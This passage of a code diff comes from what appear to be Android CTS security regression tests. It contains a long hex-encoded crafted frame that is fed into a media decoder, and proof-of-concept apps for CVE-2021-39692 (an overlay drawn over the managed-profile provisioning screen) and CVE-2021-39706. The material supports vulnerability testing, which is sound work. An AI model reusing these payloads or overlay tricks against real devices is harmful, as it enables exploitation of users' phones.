00100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010020000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001040000010000000100000001000000010000000100000002c00000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000ff00000000100000001000000010000000100000001000000010000000100000002a00000010000000100000000fe6000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000140000001000000010000000100000000000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000120017001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000018000000100000001000000010004000100000001000520010000000100000001000000010ff7f00100000001000000010001000000010000000100000001000000010000000100000000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010001b001000000010000000100000100000001000000010000000100000000010000000100000001000000010000000100000100000001000000010000000100000001000000010000000100000001000000000100000001000000010000000100000001000001000000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000000ffffc0010000000100000001000000010000000100000001000000010000000100000001000000010000000100d00001000000010000000100000001000000001000000100000001000000010000000100000e10f0000001000e20010000000100000000ffffff0100000001000000010e400001000000010000000100000001000000010000000100000001000000010000000100000001004000010000000100000001000000000000000000000000000fffe000000000000000010000000100000000ffff2001000000010000000100000001000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000000100000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000000100000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000000000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000000fe20000100000001000000010000000100000001000000010000000100000000000d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d510000000100000001000000010000000100000001000000010000010000000100000001000000010000000100000081000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000017100000000010000000100000001000000010000000100000201000000010000000100000001000000010000000100000001000000000001000000010001000000010000000100000001000000010000000100040001000000010000b0010000000001000008010000000100000001000000010000000100f0010000000100000001000000010000000100000001000000010000000100000001000ef641000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000070010000000100000001000000010000000100000000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010eb00001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000f5100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010004400101200001000000010fc000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000000000010000000100000001000000010000000100000001000000010000000100000002f00f7ff0f0000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000000010000000100000001000000010000300100000001000000010000000100000001000000010000000100000001000000010000000100000e41d0000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000fff2100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000010010000000100000001000000010000000100000001000000010001e00100000001000000010040000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000064000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010495a4949494949494949491000e4ff10000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000620000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010df0000100000001000000010000000100000001000e3ff0f0000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000008010000000100000001000000010000000100f000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010a30000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000100000001000000010000000100000001000000010000000000000100000007c7c7c7c7c7c7c7c7c7c7c7c7c7c7c7c7c7c0000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000000000000000000000000000000000000000000000000000000100016001000000010000000100000001000000010000000100000001000000010000000100000e21000000010000000100000001000001000000010000000100000001000000010000000100000001000000010000000100000000ffffffa10000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000010010000000100000001000000010000000100000001000000010001000000010000000100000001000000010000000100000001000000010000000100000e210000000100000001040000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000009b000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000000c000080000000001000000010000000100000001000000010000000100000001000000010000000290000001000000010000000100000000010000000100000001000000010000000100000001000000010000000100000f90f00000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100001001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000b100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000e000001000000010df0000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000fd0f000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000ed0010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000000100001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000007fff0000100000001000000010000000100000001000000010000000100000001000000023000000f50000001000eeff1000000010000000100010000000000010000000100010000000100000001000000010000000100000001000000010000000100000001000000010000000100064001000000010000000100006001000000010000000100000001000000010000000100028001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000810008000100000001000000010000000100000000100000010000000100000001000000010002100100000001000000010000000100000b710000000100000801000000010000000100000001000000010000000100000001000000010000000100000100000001000000010000000100000001000000010001c001000000010000000100000001000000010000000100000001000000010000000100000001000000010ffef00100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010e2ffff0f00000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000008000005400000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000641000000010000000100000001000000010100000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000000000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000000000010000000100000001000000010000000100000001000000010000000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000ffe1100000001000000010000000100000001000001000000010000000100000001000000010000000100000001000000000100000001000000010000000100000001000000010000000100000001000000010000000100000000000001001000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000001d1000000010000000100000001000000010000000100000001000000010000000100000001000000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000010000000100000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010e500001000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000c00100000001000000010000000100000001000000010efff00100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010ff0000100000001000001210000000100000001000000010000000100000001010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100e00ff00000000100000001000000010000000100000001000000010000000100000001000000010000000100000000ffffc00100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000080000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000eaff0f00000010000000100000001000000010000000100000001000000010000000100000001000000010000000f200000010000000100000001000040010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001078000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000f0ff0000100000001000000010000000100000001000000010100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000f60f00000028000000100000001000000010000000100000001000000010000000001000fff21000000010000000100000001000000010000000100000001100000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000fa10000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000018000000100000001000000010000000100000001000000010000000100000001000000010";
+        byte[] qq_frame = hexStringToByteArray(payload);
+
+        int length = qq_frame.length;
+        int offset = 0;
+
+        ByteBuffer[] codecInputBuffers = decoder.getInputBuffers();
+        int inputBufIndex = decoder.dequeueInputBuffer(0);
+
+        ByteBuffer dstBuf = codecInputBuffers[inputBufIndex];
+        dstBuf.clear();
+        dstBuf.put(qq_frame, offset, length);
+        decoder.queueInputBuffer(inputBufIndex, offset, length, 0, 0);
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/integers.xml
new file mode 100644
index 0000000..2e27ed8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/integers.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <integer name="assumptionFailure">-1</integer>
+    <integer name="noFailure">0</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml
index cf041ca..7dce747 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml
@@ -18,14 +18,18 @@
     <string name="activityNotStartedException">Unable to start the %1$s</string>
     <string name="activityNotFoundMsg">The activity with intent %1$s was not found</string>
     <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+    <string name="defaultSemaphoreMsg">Could not get message key in shared preferences</string>
     <string name="dumpsysActivityCmd">dumpsys activity %1$s</string>
     <string name="dumpsysActivityException">Could not execute dumpsys activity command</string>
     <string name="overlayErrorMessage">Device is vulnerable to b/209611539 hence any app with
     "SYSTEM_ALERT_WINDOW can overlay the %1$s screen</string>
     <string name="mResumedTrue">mResumed=true</string>
+    <string name="messageKey">message</string>
     <string name="overlayButtonText">OverlayButton</string>
     <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
-    <string name="testPkg">android.security.cts.CVE_2021_39692</string>
+    <string name="resultKey">result</string>
+    <string name="sharedPreferences">prefs</string>
+    <string name="timedOutPocActivity">Timed out waiting on a result from PocActivity</string>
     <string name="vulActivityNotRunningError">The %1$s is not currently running on the device
     </string>
 </resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java
index e2f6196..aaab56a 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java
@@ -18,19 +18,24 @@
 
 import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE;
 import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME;
+
 import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import static org.junit.Assert.assertNotNull;
+
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
 import static org.junit.Assume.assumeTrue;
 
 import android.content.ActivityNotFoundException;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
 import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
+import android.content.res.Resources;
 import android.provider.Settings;
 
 import androidx.test.runner.AndroidJUnit4;
@@ -42,86 +47,111 @@
 import org.junit.runner.RunWith;
 
 import java.io.IOException;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
 import java.util.regex.Pattern;
 
 @RunWith(AndroidJUnit4.class)
 public class DeviceTest {
+    static final int TIMEOUT_MS = 20000;
+    Context mContext;
 
     private void startOverlayService() {
-        Context context = getApplicationContext();
-        assertNotNull(context);
-        Intent intent = new Intent(context, PocService.class);
-
-        assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
-                Settings.canDrawOverlays(getApplicationContext()));
+        Intent intent = new Intent(mContext, PocService.class);
+        assumeTrue(mContext.getString(R.string.canNotDrawOverlaysMsg),
+                Settings.canDrawOverlays(mContext));
         try {
-            context.startService(intent);
+            mContext.startService(intent);
         } catch (Exception e) {
             assumeNoException(
-                    context.getString(R.string.activityNotStartedException, "overlay service"), e);
+                    mContext.getString(R.string.activityNotStartedException, "overlay service"), e);
         }
     }
 
     private void startVulnerableActivity() {
-        Context context = getApplicationContext();
-        Intent intent = new Intent(context, PocActivity.class);
+        Intent intent = new Intent(mContext, PocActivity.class);
         intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         try {
-            context.startActivity(intent);
+            mContext.startActivity(intent);
         } catch (ActivityNotFoundException e) {
             assumeNoException(
-                    context.getString(R.string.activityNotStartedException, "PocActivity"), e);
+                    mContext.getString(R.string.activityNotStartedException, "PocActivity"), e);
         }
     }
 
     @Test
     public void testOverlayButtonPresence() {
-        UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+        mContext = getApplicationContext();
+        assumeNotNull(mContext);
+        UiDevice device = UiDevice.getInstance(getInstrumentation());
+        assumeNotNull(device);
+        Resources resources = mContext.getResources();
+        assumeNotNull(resources);
 
         /* Start the overlay service */
         startOverlayService();
 
         /* Wait for the overlay window */
-        Context context = getApplicationContext();
-        Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText),
-                Pattern.CASE_INSENSITIVE);
-        final int launchTimeoutMs = 20000;
-        assumeTrue(context.getString(R.string.overlayUiScreenError),
-                mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), launchTimeoutMs));
+        Pattern overlayTextPattern = Pattern
+                .compile(resources.getString(R.string.overlayButtonText), Pattern.CASE_INSENSITIVE);
+        assumeTrue(resources.getString(R.string.overlayUiScreenError),
+                device.wait(Until.hasObject(By.text(overlayTextPattern)), TIMEOUT_MS));
 
-        /* Start the vulnerable activity */
+        /* Start the PocActivity which starts vulnerable activity */
         startVulnerableActivity();
 
-        /* Wait until the object of launcher activity is gone */
-        boolean overlayDisallowed = false;
-        if (mDevice.wait(Until.gone(By.pkg(context.getString(R.string.testPkg))),
-                launchTimeoutMs)) {
-            overlayDisallowed = true;
+        /* Wait on a result from PocActivity */
+        SharedPreferences sharedPrefs = mContext.getSharedPreferences(
+                resources.getString(R.string.sharedPreferences), Context.MODE_APPEND);
+        final Semaphore preferenceChanged = new Semaphore(0);
+        OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
+            @Override
+            public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, String key) {
+                if (key.equals(resources.getString(R.string.resultKey))) {
+                    preferenceChanged.release();
+                }
+            }
+        };
+        sharedPrefs.registerOnSharedPreferenceChangeListener(listener);
+        try {
+            preferenceChanged.tryAcquire(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            assumeNoException(resources.getString(R.string.timedOutPocActivity), e);
         }
+        int result = sharedPrefs.getInt(resources.getString(R.string.resultKey),
+                resources.getInteger(R.integer.assumptionFailure));
+        String message = sharedPrefs.getString(resources.getString(R.string.messageKey),
+                resources.getString(R.string.defaultSemaphoreMsg));
+        assumeTrue(message, result != resources.getInteger(R.integer.assumptionFailure));
 
+        /* Wait until the object of launcher activity is gone */
+        boolean overlayDisallowed =
+                device.wait(Until.gone(By.pkg(mContext.getPackageName())), TIMEOUT_MS);
+
+        /* Get the vulnerable activity name from the intent, this is required for the next step */
         Intent intent = new Intent(ACTION_PROVISION_MANAGED_PROFILE);
         intent.putExtra(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME,
-                new ComponentName(context, PocDeviceAdminReceiver.class));
-        PackageManager pm = context.getPackageManager();
+                new ComponentName(mContext, PocDeviceAdminReceiver.class));
+        PackageManager pm = mContext.getPackageManager();
         ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
-        assumeTrue(context.getString(R.string.activityNotFoundMsg, intent), ri != null);
+        assumeTrue(resources.getString(R.string.activityNotFoundMsg, intent), ri != null);
         String testVulnerableActivity = ri.activityInfo.name;
 
         /* Check if the currently running activity is the vulnerable activity */
         String activityDump = "";
         try {
-            activityDump = mDevice.executeShellCommand(
-                    context.getString(R.string.dumpsysActivityCmd, testVulnerableActivity));
+            activityDump = device.executeShellCommand(
+                    resources.getString(R.string.dumpsysActivityCmd, testVulnerableActivity));
         } catch (IOException e) {
-            assumeNoException(context.getString(R.string.dumpsysActivityException), e);
+            assumeNoException(resources.getString(R.string.dumpsysActivityException), e);
         }
-        Pattern activityPattern =
-                Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
-        assumeTrue(context.getString(R.string.vulActivityNotRunningError, testVulnerableActivity),
+        Pattern activityPattern = Pattern.compile(resources.getString(R.string.mResumedTrue),
+                Pattern.CASE_INSENSITIVE);
+        assumeTrue(resources.getString(R.string.vulActivityNotRunningError, testVulnerableActivity),
                 activityPattern.matcher(activityDump).find());
 
         /* Failing the test as fix is not present */
-        assertTrue(context.getString(R.string.overlayErrorMessage, testVulnerableActivity),
+        assertTrue(resources.getString(R.string.overlayErrorMessage, testVulnerableActivity),
                 overlayDisallowed);
     }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java
index 89a7d93..db3d5d5 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java
@@ -18,13 +18,13 @@
 
 import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE;
 import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME;
-import static org.junit.Assume.assumeNoException;
-import static org.junit.Assume.assumeTrue;
 
 import android.app.Activity;
 import android.content.ActivityNotFoundException;
 import android.content.ComponentName;
+import android.content.Context;
 import android.content.Intent;
+import android.content.SharedPreferences;
 import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
 import android.os.Bundle;
@@ -39,19 +39,36 @@
                 new ComponentName(getApplicationContext(), PocDeviceAdminReceiver.class));
         PackageManager pm = getPackageManager();
         ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
-        assumeTrue(getString(R.string.activityNotFoundMsg, intent), ri != null);
+        if (ri == null) {
+            setResult(getResources().getInteger(R.integer.assumptionFailure),
+                    getString(R.string.activityNotFoundMsg, intent));
+            return;
+        }
+
         try {
             startActivityForResult(intent, 1);
         } catch (ActivityNotFoundException e) {
-            assumeNoException(getString(R.string.activityNotFoundMsg, intent), e);
+            setResult(getResources().getInteger(R.integer.assumptionFailure),
+                    getString(R.string.activityNotFoundMsg, intent));
+            return;
         }
+        setResult(getResources().getInteger(R.integer.noFailure), "");
     }
 
     @Override
     public void onActivityResult(int requestCode, int resultCode, Intent data) {
         if (resultCode == Activity.RESULT_OK) {
-            this.setResult(Activity.RESULT_OK);
-            this.finish();
+            setResult(Activity.RESULT_OK);
+            finish();
         }
     }
+
+    private void setResult(int result, String message) {
+        SharedPreferences sh =
+                getSharedPreferences(getString(R.string.sharedPreferences), Context.MODE_PRIVATE);
+        SharedPreferences.Editor edit = sh.edit();
+        edit.putInt(getString(R.string.resultKey), result);
+        edit.putString(getString(R.string.messageKey), message);
+        edit.commit();
+    }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java
index be96d11..a00434b 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java
@@ -80,8 +80,6 @@
 
     private void showFloatingWindow() {
         Context context = getApplicationContext();
-        assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
-                Settings.canDrawOverlays(getApplicationContext()));
         mButton = new Button(getApplicationContext());
         mButton.setText(context.getString(R.string.overlayButtonText));
         mWindowManager.addView(mButton, mLayoutParams);
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/layout/activity_main.xml
index 6188e9a..9d789c4 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/layout/activity_main.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/layout/activity_main.xml
@@ -17,8 +17,6 @@
 
 <LinearLayout
     xmlns:android="http://schemas.android.com/apk/res/android"
-        xmlns:app="http://schemas.android.com/apk/res-auto"
-        xmlns:tools="http://schemas.android.com/tools"
         android:layout_width="match_parent"
         android:layout_height="match_parent">
 
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/values/strings.xml
index 2afb31c..939b7d6 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/values/strings.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/values/strings.xml
@@ -23,11 +23,15 @@
     <string name="certInstalled">Certificate is already installed</string>
     <string name="certInstallFail">Certificate installation failed!</string>
     <string name="certNotFound">Certificate not found after installation</string>
-    <string name="pkgName">android.security.cts.CVE_2021_39706</string>
     <string name="openFail">Failed to open </string>
     <string name="tapFail">Failed to Tap </string>
     <string name="pkgInstallFail"> is not installed!</string>
     <string name="oK">OK</string>
     <string name="cleanCache">CLEAN CACHE</string>
     <string name="failMessage">Vulnerable to b/200164168 !!</string>
+    <string name="sharedPreferences">SharedPreferences</string>
+    <string name="messageKey">message</string>
+    <string name="assumptionFailureMessage">
+    Assumption failure occurred.
+    </string>
 </resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/xml/device_policies.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/xml/device_policies.xml
index 8a3a4d3..a826e80 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/xml/device_policies.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/xml/device_policies.xml
@@ -17,6 +17,5 @@
 
 <device-admin>
     <uses-policies>
-        <disable-camera/>
     </uses-policies>
 </device-admin>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/DeviceTest.java
index fcff1b1..fcb8cc6 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/DeviceTest.java
@@ -16,22 +16,22 @@
 
 package android.security.cts.CVE_2021_39706;
 
-import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
 import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
 import static org.junit.Assume.assumeTrue;
 
 import android.content.Context;
 import android.content.Intent;
+import android.content.SharedPreferences;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.content.res.Resources;
-import android.security.cts.CVE_2021_39706.PocActivity;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 import androidx.test.uiautomator.By;
-import androidx.test.uiautomator.BySelector;
 import androidx.test.uiautomator.UiDevice;
 import androidx.test.uiautomator.UiObject2;
 import androidx.test.uiautomator.Until;
@@ -45,8 +45,6 @@
 @RunWith(AndroidJUnit4.class)
 public class DeviceTest {
     private static final int TIMEOUT = 10000;
-    private static Resources resources;
-    private static String settingsPkg;
 
     /*
      * The Certificate and keypair below are generated with:
@@ -74,30 +72,31 @@
             + "nQfdnxdV19tprMfx1+uu7NNqvxCv1UN6peeBzF/0Bony+9oNzOnGYwMRm9Ww8+mJ\n"
             + "v02a06J8kg==\n" + "-----END CERTIFICATE-----";
 
-    private UiDevice device;
-    private Context context;
-    private PackageManager packageManager;
+    private UiDevice mDevice;
+    private Context mContext;
+    private Resources mResources;
 
     private void openApplication(String applicationName) {
-        Intent intent = context.getPackageManager().getLaunchIntentForPackage(applicationName);
+        Intent intent = mContext.getPackageManager().getLaunchIntentForPackage(applicationName);
         intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
-        context.startActivity(intent);
-        assumeTrue(resources.getString(R.string.openFail) + applicationName,
-                device.wait(Until.hasObject(By.pkg(applicationName)), TIMEOUT));
+        mContext.startActivity(intent);
+        assumeTrue(mResources.getString(R.string.openFail) + applicationName,
+                mDevice.wait(Until.hasObject(By.pkg(applicationName)), TIMEOUT));
     }
 
     private void tapText(String text) {
         boolean buttonClicked = false;
-        UiObject2 object = device.findObject(By.text(text));
+        UiObject2 object = mDevice.findObject(By.text(text));
         if (object != null && object.getText() != null) {
             object.click();
             buttonClicked = true;
         }
-        assumeTrue(resources.getString(R.string.tapFail) + text, buttonClicked);
+        assumeTrue(mResources.getString(R.string.tapFail) + text, buttonClicked);
     }
 
     protected boolean isPackageInstalled(String packageName) {
         try {
+            PackageManager packageManager = mContext.getPackageManager();
             PackageInfo pi = packageManager.getPackageInfo(packageName, 0);
             return pi != null;
         } catch (PackageManager.NameNotFoundException e) {
@@ -105,47 +104,71 @@
         }
     }
 
+    String getStringRes(int key) {
+        return mContext != null ? mContext.getResources().getString(key) : null;
+    }
